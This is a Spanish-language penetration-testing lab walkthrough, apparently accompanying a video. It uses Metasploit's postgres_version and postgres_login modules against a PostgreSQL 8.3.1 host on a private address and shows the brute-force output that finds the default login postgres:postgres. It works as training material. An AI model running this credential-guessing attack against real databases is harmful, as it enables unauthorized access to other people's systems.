Comenzamos haciendo un escaneo a la maquina victima la cual tiene la siguiente ip 192.168.0.170

Los resultados muestran que en el puerto 5432/tcp open postgresql se encuentra el servicio open "abierto"

En primero lugar vamos a ver que versión está usando seleccionamos el siguiente modulo: auxiliary/scanner/postgres/postgres\_version Y EJECUTAMOS EL COMANDO PARA VER LAS OPCIONES

segundo vamos a buscar que módulos tenemos dentro de metasploit para poder obtener las credenciales de usuario y password de un sistema "linux-gnu".

msf5 auxiliary (scanner/postgres/postgres\_version) > show options

Luego modificamos el host victima RHOST 192.168.0.170

msf5 auxiliary(scanner/postgres/postgres\_version) > set RHOSTS 192.168.0.170

Chequeamos las opciones que este todo bien y lo ejecutamos. Con el comando run

msf5 auxiliary(scanner/postgres/postgres\_version) > run

[\*] 192.168.0.170:5432 Postgres - Version PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) (Post-Auth)

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

Como se ve el sistema es un linux-gnu

Ahora vamos a buscar un módulo para obtener las credenciales.

msf5 auxiliary(scanner/postgres/postgres\_version) > search postgresql

Seleccionamos el que dice login. auxiliary/scanner/postgres/postgres\_login

msf5 auxiliary(scanner/postgres/postgres\_version) > use 5

Nuevamente miramos las opciones.

msf5 auxiliary(scanner/postgres/postgres\_login) > show options

Modificamos el host víctima.

msf5 auxiliary(scanner/postgres/postgres\_login) > set RHOSTS 192.168.0.170

Chequeamos que este todo bien con show options

y por ultimo lo ejecutamos.

msf5 auxiliary(scanner/postgres/postgres\_login) > run

[-] 192.168.0.170:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)

[+] 192.168.0.170:5432 - Login Successful: postgres:postgres@template1

[-] 192.168.0.170:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)

[-] 192.168.0.170:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

como podemos observar se pudo obtener las credenciales.

en el proximo video vamos a tratar de obtener el hash de esta misma maquina lo vamos a extraer y lo vamos a identificar.